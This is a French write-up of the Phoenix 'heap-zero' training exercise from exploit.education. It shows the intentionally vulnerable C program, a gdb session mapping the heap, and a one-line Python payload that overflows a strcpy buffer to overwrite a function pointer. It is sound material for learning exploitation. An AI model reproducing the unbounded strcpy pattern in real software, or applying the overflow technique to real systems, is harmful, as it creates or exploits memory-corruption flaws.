kiddie
.:: @OREL ::.

Phoenix - Heap overflow - Heap 0
[ 26/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/heap-zero/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level provides an introduction to heap data manipulation, and how that can affect program execution.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/heap-zero, by https://exploit.education * * Can you hijack flow control, and execute the winner function? * * Why do C programmers make good Buddhists? * Because they're not object orientated. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" struct data { char name[64]; }; struct fp { void (*fp)(); char __pad[64 - sizeof(unsigned long)]; }; void winner() { printf("Congratulations, you have passed this level\n"); } void nowinner() { printf( "level has not been passed - function pointer has not been " "overwritten\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; printf("%s\n", BANNER); if (argc >l; 2) { printf("Please specify an argument to copy :-)\n"); exit(1); } d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; strcpy(d->name, argv[1]); printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp); fflush(stdout); f->fp(); return 0; }
Le programme débute par la déclaration de deux strutures de données, data qui est composée d'un seul élément, name, un tableau de 64 char puis fp composée de deux éléments, fp, un pointeur de fonction et __pad un tableau de 60 char. À la suite de ces deux strcutures, deux procédures sont créées, winner et nowinner qui permettent de valider ou pas l'exercice. Vient ensuite le main où deux variables sont instanciées, d de type *data et f de type *fp. Un espace sur la heap est alloué à ces deux variables via malloc et la procédure nowinner est assignée à fp->fp. Puis, argv[1] est copié dans d->name et le programme se termine en appelant la procédure pointée par fp->fp.
[1.2 - Identification de la vulnérabilité
Tout comme on avait pu le voir avec les buffer overflow, la fonction strcpy ne vérifie pas si le buffer de destination est suffisant pour recevoir le buffer donné en source, ainsi, il est possible de déborder sur l'espace mémoire qui vient juste après ce buffer.
[2 - Méthodologie d'exploitation
Ici, rien de bien très compliqué dans l'exploitation, il suffit d'atteindre fp->fp et d'écraser l'adresse de nowinner avec l'adresse de winner. Ça reste très similaire aux premiers stack overflow qu'on a vu au début de cette série. Là où cela diffère, c'est dans l'agencement de la heap par rapport à la stack. En effet, s'il on lance heap-zero dans un debugger, on peut observer ceci :
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q heap-zero (gdb) b malloc Breakpoint 1 at 0x804914a (gdb) r 1234 Starting program: /opt/phoenix/i486/heap-zero 1234 Welcome to phoenix/heap-zero, brought to you by https://exploit.education Breakpoint 1, 0x0804914a in malloc () (gdb) finish Run till exit from #0 0x0804914a in malloc () 0x080488b4 in main () (gdb) info proc mappings process 497 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x804c000 0x4000 0x0 /opt/phoenix/i486/heap-zero 0x804c000 0x804d000 0x1000 0x3000 /opt/phoenix/i486/heap-zero 0xf7e69000 0xf7f69000 0x100000 0x0 0xf7f69000 0xf7f6b000 0x2000 0x0 [vvar] 0xf7f6b000 0xf7f6d000 0x2000 0x0 [vdso] 0xf7f6d000 0xf7ffa000 0x8d000 0x0 /opt/phoenix/i486-linux-musl/lib/libc.so 0xf7ffa000 0xf7ffb000 0x1000 0x8c000 /opt/phoenix/i486-linux-musl/lib/libc.so 0xf7ffb000 0xf7ffc000 0x1000 0x8d000 /opt/phoenix/i486-linux-musl/lib/libc.so 0xf7ffc000 0xf7ffe000 0x2000 0x0 0xfffdd000 0xffffe000 0x21000 0x0 [stack] (gdb) delete 1 (gdb) c Continuing. data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e level has not been passed - function pointer has not been overwritten
La heap se positionne "au-dessous" de la stack et grandit vers les adresses hautes. On a donc l'agencement mémoire suivant : 0xffffe000 + +--------------------+ Adresses | | | hautes | | Stack | | | | 0xfffdd000 v | | +--------------------+ 0xf7f69000 ^ | | | | Heap | | | | | | | 0xf7e69000 + +--------------------+ Adresses basses De plus, on avait l'habitude de voir un espace supplémentaire alloué aux variables sur la stack et il semblerait que ce soit aussi valable pour les variables sur la heap. En effet, 72 octets séparent d de f alors que d n'occupe que 64 octets. Les variables sont donc placées de cette manière : 0 64 72 76 140 +------------+-------+--------+----------+ | | blank | | | | data->name | | fp->fp | f->__pad | | | space | | | +------------+-------+--------+----------+ 0xf7e69008 0xf7e69050 Maintenant qu'on a pris connaissance de la structure de la heap et de ses points communs et différences avec la stack, on peut revenir sur l'exploitation en elle même et récupérer l'adresse de winner pour construire l'exploit :
user@phoenix-amd64:/opt/phoenix/i486$ objdump -t heap-zero heap-zero: file format elf32-i386 ... 08048835 g F .text 00000019 winner ...
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/i486$ ./heap-zero $(python -c 'print "A" * 72 +\ > "\x08\x04\x88\x35"[::-1]') Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835 Congratulations, you have passed this level
[4 - Conclusion
Ce premier exercice permet de se familiariser avec la heap tout en restant très loin de son fonctionnement sous jacent. Vous noterez que l'architeture utilisée par défault n'est plus amd64 mais i486, les adresse comportant des caractères "interdit".

Tout est faux tout est conforme.